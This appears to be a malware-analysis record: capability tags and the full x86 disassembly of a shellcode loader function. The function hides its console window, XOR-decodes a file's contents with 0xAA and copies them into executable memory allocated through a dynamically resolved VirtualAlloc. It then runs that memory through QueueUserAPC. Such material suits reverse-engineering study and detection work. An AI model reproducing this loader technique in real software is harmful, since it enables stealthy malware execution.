Function at 0x401230
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4035d8
mov eax, dword fs:[0]
push eax
sub esp, 0xe4
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xb8
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xe0]
call fcn.00402100
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov ecx, dword [eax + 8]
add ecx, dword [eax]
mov dword [ebp - 0xe4], ecx
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
mov dword [ebp - 0xec], ecx
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
xor eax, eax
mov dword [ebp - 0x14], 0
xor esi, esi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xe4]
xorps xmm0, xmm0
xor edi, edi
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0xe8], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], edi
test eax, eax
je 0x401369
cmp eax, 0x7fffffff
ja 0x4014ef
cmp eax, 0x1000
jb 0x401338
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x4014f4
push ecx
call fcn.0040286c
add esp, 4
test eax, eax
je 0x4014b7
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [ebp - 0xe8], esi
mov dword [esi - 4], eax
jmp 0x401349
push eax
call fcn.0040286c
add esp, 4
mov dword [ebp - 0xe8], eax
mov esi, eax
mov ecx, dword [ebp - 0xe4]
push ecx
push 0
push esi
lea edi, [esi + ecx]
mov dword [ebp - 0x1c], esi
mov eax, edi
mov dword [ebp - 0x14], eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 1
call fcn.004024e0
test eax, eax
jne 0x401394
push eax
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
movaps xmm2, xmmword [0x404330]
sub edi, esi
mov dword [ebp - 0xec], edi
mov eax, 0
je 0x401409
cmp edi, 0x40
jb 0x401400
mov edx, edi
lea ecx, [esi + 0x20]
and edx, 0xffffffc0
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
xorps xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movups xmm0, xmmword [ecx - 0x30]
xorps xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
cmp eax, edx
jb 0x4013c0
cmp eax, edi
jae 0x401409
xor byte [eax + esi], 0xaa
inc eax
cmp eax, edi
jb 0x401400
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualAlloc
push eax
mov dword [ebp - 0xe4], eax
call esi
push 0x40
push 0x1000
push edi
push 0
call eax
push dword [ebp - 0xec]
mov edi, eax
push dword [ebp - 0xe8]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0x1c
push str.QueueUserAPC
push dword [ebp - 0xe4]
call esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
push 0x401220
call esi
push 1
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
push str.VirtualFree
push dword [ebp - 0xe4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x8000
push 0
push edi
call eax
mov ecx, dword [ebp - 0xe8]
test ecx, ecx
je 0x4014c7
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4014bd
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4014bd
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0040289c
add esp, 8
lea ecx, [ebp - 0xe0]
call fcn.00401500
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040285e
mov esp, ebp
pop ebp
ret
call fcn.004027c0
call fcn.004010d0
int3